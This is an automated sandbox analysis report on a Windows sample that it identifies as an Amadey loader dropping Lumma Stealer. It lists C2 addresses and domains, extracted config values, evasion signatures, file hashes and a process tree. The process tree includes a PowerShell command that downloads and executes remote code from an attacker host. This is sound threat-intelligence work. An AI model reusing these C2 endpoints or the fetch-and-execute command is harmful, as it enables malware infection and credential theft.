Analysis

  • max time kernel
    142s
  • max time network
    151s
  • platform
    windows11-21h2_x64
  • resource
    win11-20250502-en
  • resource tags

    arch:x64arch:x86image:win11-20250502-enlocale:en-usos:windows11-21h2-x64system
  • submitted
    01/06/2025, 17:51

General

  • Target
    random.exe
  • Size 2.8MB
  • Sample250601-wfbk7azzfx
  • SHA256 c63e591bd3694a4ab2dd9fe6e2907813fdc6efbb94663c4957054572fd2b6d7d
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • amadey

Version
  • 5.34

Botnet
  • 8d33eb

C2
  • http://185.156.72.96

Attributes
  • install_dir

    d610cf342e

  • install_file

    ramez.exe

  • strings_key

    4a2b1d794e79a4532b6e2b679408d2bb

  • url_paths

    /te4h2nus/index.php

rc4.plain

Extracted

Family
  • lumma

C2
  • https://citellcagt.top/gjtu

  • https://narrathfpt.top/tekq

  • https://escczlv.top/bufi

  • https://localixbiw.top/zlpa

  • https://korxddl.top/qidz

  • https://harumseeiw.top/tqmn

  • https://diecam.top/laur/api

  • https://thundeqqbw.bet/aznd

Signatures

  • Amadey

    Amadey bot is a simple trojan bot primarily used for collecting reconnaissance information.

  • Amadey family
  • Lumma Stealer, LummaC

    Lumma or LummaC is an infostealer written in C++ first seen in August 2022.

  • Lumma family
  • Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 4 IoCs
  • Blocklisted process makes network request 1 IoCs
  • Downloads MZ/PE file 5 IoCs
  • Checks BIOS information in registry 2 TTPs 8 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Executes dropped EXE 8 IoCs
  • Identifies Wine through registry keys 2 TTPs 4 IoCs

    Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

  • Suspicious use of NtSetInformationThreadHideFromDebugger 4 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 7 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 22 IoCs
  • Suspicious use of AdjustPrivilegeToken 43 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 47 IoCs

Processes

  • C:\Windows\system32\sihost.exe
    sihost.exe
    1⤵
      PID:2544
      • C:\Windows\system32\openwith.exe
        "C:\Windows\system32\openwith.exe"
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        PID:2552
    • C:\Users\Admin\AppData\Local\Temp\random.exe
      "C:\Users\Admin\AppData\Local\Temp\random.exe"
      1⤵
      • Identifies VirtualBox via ACPI registry values (likely anti-VM)
      • Checks BIOS information in registry
      • Identifies Wine through registry keys
      • Suspicious use of NtSetInformationThreadHideFromDebugger
      • Drops file in Windows directory
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of WriteProcessMemory
      PID:4688
      • C:\Users\Admin\AppData\Local\Temp\d610cf342e\ramez.exe
        "C:\Users\Admin\AppData\Local\Temp\d610cf342e\ramez.exe"
        2⤵
        • Identifies VirtualBox via ACPI registry values (likely anti-VM)
        • Downloads MZ/PE file
        • Checks BIOS information in registry
        • Executes dropped EXE
        • Identifies Wine through registry keys
        • Suspicious use of NtSetInformationThreadHideFromDebugger
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of WriteProcessMemory
        PID:4900
        • C:\Users\Admin\AppData\Local\Temp\10263020101\3Svu0S9.exe
          "C:\Users\Admin\AppData\Local\Temp\10263020101\3Svu0S9.exe"
          3⤵
          • Executes dropped EXE
          • Suspicious use of WriteProcessMemory
          PID:5664
          • C:\Windows\System32\cmd.exe
            "C:\Windows\System32\cmd.exe" /k powershell -Command "irm "https://silentclickteam.co/erb/powershell?mode=RU5FSgo%3D" | iex"
            4⤵
            • Suspicious use of WriteProcessMemory
            PID:5104
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              powershell -Command "irm "https://silentclickteam.co/erb/powershell?mode=RU5FSgo%3D" | iex"
              5⤵
              • Blocklisted process makes network request
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:3716
        • C:\Users\Admin\AppData\Local\Temp\10264130101\oeBkI30.exe
          "C:\Users\Admin\AppData\Local\Temp\10264130101\oeBkI30.exe"
          3⤵
          • Executes dropped EXE
          • Suspicious use of SetThreadContext
          • Suspicious use of WriteProcessMemory
          PID:2736
          • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
            "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
            4⤵
              PID:3404
            • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
              "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
              4⤵
                PID:2020
              • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
                "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
                4⤵
                  PID:1120
                • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
                  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
                  4⤵
                  • System Location Discovery: System Language Discovery
                  • Suspicious behavior: EnumeratesProcesses
                  PID:3108
              • C:\Users\Admin\AppData\Local\Temp\10265550101\5FtQz1x.exe
                "C:\Users\Admin\AppData\Local\Temp\10265550101\5FtQz1x.exe"
                3⤵
                • Executes dropped EXE
                • System Location Discovery: System Language Discovery
                • Suspicious behavior: EnumeratesProcesses
                PID:2916
              • C:\Users\Admin\AppData\Local\Temp\10268280101\8sOdZOi.exe
                "C:\Users\Admin\AppData\Local\Temp\10268280101\8sOdZOi.exe"
                3⤵
                • Suspicious use of NtCreateUserProcessOtherParentProcess
                • Executes dropped EXE
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of WriteProcessMemory
                PID:4496
              • C:\Users\Admin\AppData\Local\Temp\10268450101\H9pAzCD.exe
                "C:\Users\Admin\AppData\Local\Temp\10268450101\H9pAzCD.exe"
                3⤵
                • Executes dropped EXE
                • System Location Discovery: System Language Discovery
                • Suspicious use of WriteProcessMemory
                PID:2464
                • C:\Windows\SysWOW64\cmd.exe
                  cmd.exe /C wmic path Win32_VideoController get CurrentRefreshRate > "C:\Users\Admin\AppData\Local\Temp\10268450101\78br78fw3abuif98fasiub.txt"
                  4⤵
                  • System Location Discovery: System Language Discovery
                  • Suspicious use of WriteProcessMemory
                  PID:3524
                  • C:\Windows\SysWOW64\Wbem\WMIC.exe
                    wmic path Win32_VideoController get CurrentRefreshRate
                    5⤵
                    • System Location Discovery: System Language Discovery
                    • Suspicious use of AdjustPrivilegeToken
                    PID:5696
          • C:\Users\Admin\AppData\Local\Temp\d610cf342e\ramez.exe
            C:\Users\Admin\AppData\Local\Temp\d610cf342e\ramez.exe
            1⤵
            • Identifies VirtualBox via ACPI registry values (likely anti-VM)
            • Checks BIOS information in registry
            • Executes dropped EXE
            • Identifies Wine through registry keys
            • Suspicious use of NtSetInformationThreadHideFromDebugger
            • Suspicious behavior: EnumeratesProcesses
            PID:4204
          • C:\Users\Admin\AppData\Local\Temp\d610cf342e\ramez.exe
            C:\Users\Admin\AppData\Local\Temp\d610cf342e\ramez.exe
            1⤵
            • Identifies VirtualBox via ACPI registry values (likely anti-VM)
            • Checks BIOS information in registry
            • Executes dropped EXE
            • Identifies Wine through registry keys
            • Suspicious use of NtSetInformationThreadHideFromDebugger
            • Suspicious behavior: EnumeratesProcesses
            PID:6040

          Network

                MITRE ATT&CK Enterprise v16

                Replay Monitor

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                Downloads

                3Svu0S9.exe

                • Path C:\Users\Admin\AppData\Local\Temp\10263020101\3Svu0S9.exe
                • Size 163KB
                • SHA256 2f795839b213c43389e207cd24a9999f75080e237f018a6578bf0906ef837a2f
                • MD5 SHA1 SHA512 SSDEEP

                oeBkI30.exe

                • Path C:\Users\Admin\AppData\Local\Temp\10264130101\oeBkI30.exe
                • Size 1.6MB
                • SHA256 876f89e39583dd386ee1b27dd83bc2351902ca39f2c4aae641cc456993515d32
                • MD5 SHA1 SHA512 SSDEEP

                5FtQz1x.exe

                • Path C:\Users\Admin\AppData\Local\Temp\10265550101\5FtQz1x.exe
                • Size 466KB
                • SHA256 a2f1fa7763b8c5a8b4a79e63262f6b8bcdd7e019ac86bfc9b95f0422a874047d
                • MD5 SHA1 SHA512 SSDEEP

                8sOdZOi.exe

                • Path C:\Users\Admin\AppData\Local\Temp\10268280101\8sOdZOi.exe
                • Size 1.3MB
                • SHA256 57fb3950a9eaeeb3cb4d922f81eea4979aea1cafb15e75efa59dafe91f7ce9b5
                • MD5 SHA1 SHA512 SSDEEP

                78br78fw3abuif98fasiub.txt

                • Path C:\Users\Admin\AppData\Local\Temp\10268450101\78br78fw3abuif98fasiub.txt
                • Size 90B
                • SHA256 2db0d28b0225ce46e5b971796f6b39a3677b88c95ec9da376c357a528d6f624a
                • MD5 SHA1 SHA512

                H9pAzCD.exe

                • Path C:\Users\Admin\AppData\Local\Temp\10268450101\H9pAzCD.exe
                • Size 3.7MB
                • SHA256 7d7facf363ccc3ab360b40044dd4d90492e6fe016fe1a851cc9cc62d83f92fd9
                • MD5 SHA1 SHA512 SSDEEP

                __PSScriptPolicyTest_n12sk53v.zmk.ps1

                • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_n12sk53v.zmk.ps1
                • Size 60B
                • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                • MD5 SHA1 SHA512

                ramez.exe

                • Path C:\Users\Admin\AppData\Local\Temp\d610cf342e\ramez.exe
                • Size 2.8MB
                • SHA256 c63e591bd3694a4ab2dd9fe6e2907813fdc6efbb94663c4957054572fd2b6d7d
                • MD5 SHA1 SHA512 SSDEEP

                memory/2464-157-0x0000000000C30000-0x0000000000FFB000-memory.dmp

                memory/2552-136-0x00007FF99AD10000-0x00007FF99B084000-memory.dmp

                memory/2552-130-0x0000021C49610000-0x0000021C4961A000-memory.dmp

                memory/2552-133-0x0000021C4B1F0000-0x0000021C4B5F0000-memory.dmp

                memory/2552-134-0x00007FF99D360000-0x00007FF99D569000-memory.dmp

                memory/2552-135-0x00007FF99B200000-0x00007FF99B2BD000-memory.dmp

                memory/2916-120-0x00007FF99D360000-0x00007FF99D569000-memory.dmp

                memory/2916-119-0x0000000002C80000-0x0000000003080000-memory.dmp

                memory/2916-118-0x0000000002C80000-0x0000000003080000-memory.dmp

                memory/2916-122-0x0000000076E20000-0x0000000077072000-memory.dmp

                memory/3108-86-0x0000000000400000-0x0000000000460000-memory.dmp

                memory/3108-85-0x0000000000400000-0x0000000000460000-memory.dmp

                memory/3716-49-0x00000218C98D0000-0x00000218C98F2000-memory.dmp

                memory/4204-98-0x0000000000340000-0x000000000065A000-memory.dmp

                memory/4204-96-0x0000000000340000-0x000000000065A000-memory.dmp

                memory/4496-116-0x0000000000480000-0x00000000005D0000-memory.dmp

                memory/4496-129-0x00007FF99AD10000-0x00007FF99B084000-memory.dmp

                memory/4496-123-0x0000000002760000-0x0000000002768000-memory.dmp

                memory/4496-125-0x000000001DC00000-0x000000001E000000-memory.dmp

                memory/4496-124-0x0000000002770000-0x0000000002780000-memory.dmp

                memory/4496-126-0x000000001DC00000-0x000000001E000000-memory.dmp

                memory/4496-128-0x00007FF99B200000-0x00007FF99B2BD000-memory.dmp

                memory/4496-127-0x00007FF99D360000-0x00007FF99D569000-memory.dmp

                memory/4688-3-0x00000000007F0000-0x0000000000B0A000-memory.dmp

                memory/4688-0-0x00000000007F0000-0x0000000000B0A000-memory.dmp

                memory/4688-17-0x00000000007F0000-0x0000000000B0A000-memory.dmp

                memory/4688-5-0x00000000007F0000-0x0000000000B0A000-memory.dmp

                memory/4688-2-0x00000000007F1000-0x000000000081E000-memory.dmp

                memory/4688-1-0x00000000778B6000-0x00000000778B8000-memory.dmp

                memory/4900-19-0x0000000000341000-0x000000000036E000-memory.dmp

                memory/4900-54-0x0000000000340000-0x000000000065A000-memory.dmp

                memory/4900-22-0x0000000000340000-0x000000000065A000-memory.dmp

                memory/4900-168-0x0000000000340000-0x000000000065A000-memory.dmp

                memory/4900-41-0x0000000000340000-0x000000000065A000-memory.dmp

                memory/4900-70-0x0000000000340000-0x000000000065A000-memory.dmp

                memory/4900-117-0x0000000000340000-0x000000000065A000-memory.dmp

                memory/4900-20-0x0000000000340000-0x000000000065A000-memory.dmp

                memory/4900-167-0x0000000000340000-0x000000000065A000-memory.dmp

                memory/4900-18-0x0000000000340000-0x000000000065A000-memory.dmp

                memory/4900-53-0x0000000000340000-0x000000000065A000-memory.dmp

                memory/4900-137-0x0000000000340000-0x000000000065A000-memory.dmp

                memory/4900-138-0x0000000000340000-0x000000000065A000-memory.dmp

                memory/4900-21-0x0000000000340000-0x000000000065A000-memory.dmp

                memory/4900-94-0x0000000000340000-0x000000000065A000-memory.dmp

                memory/4900-55-0x0000000000340000-0x000000000065A000-memory.dmp

                memory/4900-158-0x0000000000340000-0x000000000065A000-memory.dmp

                memory/4900-159-0x0000000000340000-0x000000000065A000-memory.dmp

                memory/4900-160-0x0000000000340000-0x000000000065A000-memory.dmp

                memory/4900-166-0x0000000000340000-0x000000000065A000-memory.dmp

                memory/4900-165-0x0000000000340000-0x000000000065A000-memory.dmp

                memory/4900-164-0x0000000000340000-0x000000000065A000-memory.dmp

                memory/5664-42-0x00007FF97BF83000-0x00007FF97BF85000-memory.dmp

                memory/5664-40-0x0000000000970000-0x000000000099E000-memory.dmp

                memory/6040-163-0x0000000000340000-0x000000000065A000-memory.dmp

                memory/6040-162-0x0000000000340000-0x000000000065A000-memory.dmp